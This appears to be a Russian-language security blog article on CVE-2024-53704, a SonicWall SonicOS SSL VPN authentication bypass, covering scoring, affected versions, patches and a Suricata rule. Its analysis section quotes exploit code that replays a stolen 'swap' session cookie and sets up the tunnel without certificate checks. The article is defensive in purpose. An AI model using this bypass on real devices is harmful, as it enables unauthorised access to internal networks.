Уязвимость реализации технологии удаленного доступа SSL VPN операционных систем SonicOS
Уязвимость реализации технологии удаленного доступа SSL VPN операционных систем SonicOS
Категория: Программы Теги: Уязвимости Опубликовано: 9 июня 2025

Уязвимость BDU:2025-00205 (CVE-2024-53704) SonicWall SonicOS

Уязвимость BDU:2025-00205 (CVE-2024-53704) в реализации SSL VPN в ОС SonicOS связана с недостатками процедуры аутентификации, позволяющими удалённому злоумышленнику получить несанкционированный доступ к защищаемой информации через подмену сессионного токена.

Анализ уязвимости

Уровень опасности: 9.8 (КРИТИЧЕСКИЙ)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • AV:N (Вектор атаки: Сетевой) - Уязвимость эксплуатируется удалённо через сеть

  • AC:L (Сложность атаки: Низкая) - Не требует специальных условий

  • PR:N (Уровень привилегий: Не требуется) - Аутентификация не нужна

  • UI:N (Взаимодействие с пользователем: Не требуется)

  • S:U (Область воздействия: Не оказывает влияния на другие системы)

  • C:H (Конфиденциальность: Полное нарушение)

  • I:H (Целостность: Полное нарушение)

  • A:H (Доступность: Полное нарушение)

Условия эксплуатации

  1. Целевое устройство SonicWall с включённым SSL VPN

  2. Используется уязвимая версия SonicOS:

    • До 6.5.5.1-6n

    • До 7.1.2-7019 включительно

    • До 8.0.0-8037

  3. Злоумышленнику нужен валидный SWAP-токен (полученный через XSS, утечку логов или MITM-атаку)


Технический анализ эксплоита

Рассмотрим код эксплоита для понимания работы вектора атаки с использованием уязвимости CVE-2024-53704.

Механизм работы

Эксплоит имитирует поведение клиента NetExtender, используя подменённый SWAP-токен для обхода аутентификации:

# Основной модуль (__init__.py)
sess = nx.NXSession(args)
sess.run()

# nx.py: Установка подменённого cookie
self.session.cookies.set("swap", self.options.swap, domain=self.options.server)
resp = self.session.get(f"https://{host}/cgi-bin/sslvpnclient")

Ключевые компоненты

  1. Обход аутентификации
    Эксплоит напрямую устанавливает VPN-сессию через cookie "swap", минуя этап логина:

    # nx.py
    def start_session(self):
        self.session.cookies.set("swap", self.options.swap, domain=self.options.server)
        resp = self.session.get(f"https://{self.host}/cgi-bin/sslvpnclient")
  2. Извлечение конфигурации
    Парсинг ответа сервера для получения параметров VPN:

    # nx.py
    for line in resp.iter_lines():
        key, value = line.split(' = ', 1)
        if key == 'Route':
            routes.append(value)
        elif key not in srv_options:
            srv_options[key] = value
  3. Установка PPP-туннеля
    Использование pyroute2 для настройки сетевых маршрутов:

    # nx.py
    def setup_routes(self, gateway):
        ipr = pyroute2.IPRoute()
        net = ipaddress.IPv4Network(route)
        ipr.route("add", dst=f"{net.network_address}/{net.prefixlen}", gateway=gateway)
  4. SSL-туннелирование
    Реализация защищённого канала с обходом проверки сертификатов:

    # sslconn.py
    context = ssl.create_default_context()
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE

Возможные последствия атаки

  1. Полный доступ к внутренней сети

    • Обход периметровой защиты

    • Доступ к системам управления, базам данных, файловым хранилищам

  2. Перехват конфиденциальных данных

    • Учётные записи сотрудников

    • Финансовая отчётность

    • Персональные данные клиентов

  3. Продвинутые атаки

    • Установка бэкдоров

    • Криптоджекинг

    • Атаки на промышленные системы (ICS/SCADA)


Защитные меры

1. Патчинг и обновление

  • Установить версии с устранением уязвимости:

    • SonicOS 6.5.5.1-7n+

    • SonicOS 7.1.2-7020+

    • SonicOS 8.0.0-8038+

2. Изменение конфигурации

# Отключение уязвимых компонентов
configure
vpn ssl settings
no allow-unauthenticated-access
commit

3. Правила для Suricata/IPS

alert tcp any any -> $HOME_NET 4433 \
(msg:"SonicWall CVE-2024-53704 Exploit Attempt"; \
flow:to_server,established; \
content:"/cgi-bin/sslvpnclient"; \
http_uri; \
content:"swap="; http_cookie; \
pcre:"/swap=[a-fA-F0-9]{32}/"; \
classtype:attempted-admin; \
sid:202453704; rev:1;)

Это правило срабатывает при обнаружении TCP-трафика от любого внешнего адреса к порту 4433 внутренней сети ($HOME_NET), содержащего специфические признаки атаки: наличие строки "/cgi-bin/sslvpnclient" в URI HTTP-запроса и cookie с параметром "swap=", значение которого представляет собой строку из 32 шестнадцатеричных символов.

4. Дополнительные меры безопасности

  • Сегментация сети: Изоляция VPN-серверов в отдельном DMZ

  • MFA: Обязательная двухфакторная аутентификация

  • Мониторинг: Алерты на необычную активность VPN-сессий

  • Токенизация: Регулярная ротация SWAP-куки

Алексей Черемных Алексей Черемных
43